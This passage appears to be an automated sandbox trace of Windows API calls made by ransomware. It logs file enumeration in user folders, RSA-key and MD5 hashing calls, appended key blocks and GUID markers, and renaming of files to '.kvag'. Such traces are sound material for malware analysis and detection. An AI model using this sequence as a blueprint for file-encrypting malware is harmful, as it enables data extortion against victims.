pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.843] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.843] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.843] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.843] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.843] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.843] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.844] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x164c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.844] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.844] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.844] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.844] CloseHandle (hObject=0x61c) returned 1 [0120.845] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\XEg6.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\xeg6.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\XEg6.mp3.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\jmb5k dyx7\\xeg6.mp3.kvag")) returned 1 [0120.860] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf411f290, ftCreationTime.dwHighDateTime=0x1d4d4d0, ftLastAccessTime.dwLowDateTime=0x1d1dcb80, ftLastAccessTime.dwHighDateTime=0x1d4c68c, ftLastWriteTime.dwLowDateTime=0x1d1dcb80, ftLastWriteTime.dwHighDateTime=0x1d4c68c, nFileSizeHigh=0x0, nFileSizeLow=0x164c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XEg6.mp3", cAlternateFileName="")) returned 0 [0120.860] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.860] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.860] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\") returned="PO z8nOyg\\" [0120.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0120.860] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.860] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.860] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.860] PathFindFileNameW (pszPath="") returned="" [0120.860] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35ec8490, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x445aacc0, ftLastAccessTime.dwHighDateTime=0x1d4d1a1, ftLastWriteTime.dwLowDateTime=0x445aacc0, ftLastWriteTime.dwHighDateTime=0x1d4d1a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.861] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35ec8490, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x445aacc0, ftLastAccessTime.dwHighDateTime=0x1d4d1a1, ftLastWriteTime.dwLowDateTime=0x445aacc0, ftLastWriteTime.dwHighDateTime=0x1d4d1a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.861] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56dfecb0, ftCreationTime.dwHighDateTime=0x1d4c5c2, ftLastAccessTime.dwLowDateTime=0xe2ff6f40, ftLastAccessTime.dwHighDateTime=0x1d4d337, ftLastWriteTime.dwLowDateTime=0xe2ff6f40, ftLastWriteTime.dwHighDateTime=0x1d4d337, nFileSizeHigh=0x0, nFileSizeLow=0x1540d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aej6fnJj8N.flv", cAlternateFileName="AEJ6FN~1.FLV")) returned 1 [0120.861] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\aej6fnJj8N.flv") returned=".flv" [0120.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\aej6fnJj8N.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\aej6fnjj8n.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.863] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=87053) returned 1 [0120.863] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.865] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x153e7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.865] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.866] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1540d, lpOverlapped=0x0) returned 1 [0120.867] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.867] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.867] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.868] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.868] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.868] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.868] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.869] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.869] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.869] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.869] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.869] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.869] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.869] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.870] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1540d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.870] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.870] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.870] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.870] CloseHandle (hObject=0x61c) returned 1 [0120.871] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\aej6fnJj8N.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\aej6fnjj8n.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\aej6fnJj8N.flv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\aej6fnjj8n.flv.kvag")) returned 1 [0120.873] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde1fa460, ftCreationTime.dwHighDateTime=0x1d4ccf0, ftLastAccessTime.dwLowDateTime=0x6a7a8e50, ftLastAccessTime.dwHighDateTime=0x1d4d43c, ftLastWriteTime.dwLowDateTime=0x6a7a8e50, ftLastWriteTime.dwHighDateTime=0x1d4d43c, nFileSizeHigh=0x0, nFileSizeLow=0xe4a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AWlsu7Qii7PrJnZs.mkv", cAlternateFileName="AWLSU7~1.MKV")) returned 1 [0120.873] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\AWlsu7Qii7PrJnZs.mkv") returned=".mkv" [0120.873] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\AWlsu7Qii7PrJnZs.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\awlsu7qii7prjnzs.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.873] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=58529) returned 1 [0120.873] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.875] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe47b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.875] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.877] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.877] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xe4a1, lpOverlapped=0x0) returned 1 [0120.878] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.878] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.878] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.878] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.879] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.879] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.879] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.879] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.879] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.879] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.879] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.880] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.880] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.880] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.880] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe4a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.880] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.880] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.881] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.881] CloseHandle (hObject=0x61c) returned 1 [0120.883] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\AWlsu7Qii7PrJnZs.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\awlsu7qii7prjnzs.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\AWlsu7Qii7PrJnZs.mkv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\awlsu7qii7prjnzs.mkv.kvag")) returned 1 [0120.885] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe21d63c0, ftCreationTime.dwHighDateTime=0x1d4ce41, ftLastAccessTime.dwLowDateTime=0xc9189b00, ftLastAccessTime.dwHighDateTime=0x1d4cc2b, ftLastWriteTime.dwLowDateTime=0xc9189b00, ftLastWriteTime.dwHighDateTime=0x1d4cc2b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E8MPONl9OoHt_q1Da", cAlternateFileName="E8MPON~1")) returned 1 [0120.885] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbf2ec40, ftCreationTime.dwHighDateTime=0x1d4c590, ftLastAccessTime.dwLowDateTime=0xd459c1e0, ftLastAccessTime.dwHighDateTime=0x1d4d1cd, ftLastWriteTime.dwLowDateTime=0xd459c1e0, ftLastWriteTime.dwHighDateTime=0x1d4d1cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qC5iE91o3", cAlternateFileName="QC5IE9~1")) returned 1 [0120.885] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x974cfa90, ftCreationTime.dwHighDateTime=0x1d4c978, ftLastAccessTime.dwLowDateTime=0x30291d40, ftLastAccessTime.dwHighDateTime=0x1d4d539, ftLastWriteTime.dwLowDateTime=0x30291d40, ftLastWriteTime.dwHighDateTime=0x1d4d539, nFileSizeHigh=0x0, nFileSizeLow=0x1592a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W7BUx mN-XW3vrl8O8.avi", cAlternateFileName="W7BUXM~1.AVI")) returned 1 [0120.885] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\W7BUx mN-XW3vrl8O8.avi") returned=".avi" [0120.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\W7BUx mN-XW3vrl8O8.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\w7bux mn-xw3vrl8o8.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.885] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=88362) returned 1 [0120.885] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.887] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x15904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.887] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.889] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1592a, lpOverlapped=0x0) returned 1 [0120.890] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.890] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.890] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.890] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.891] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.891] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.891] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.891] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.891] CryptDestroyHash 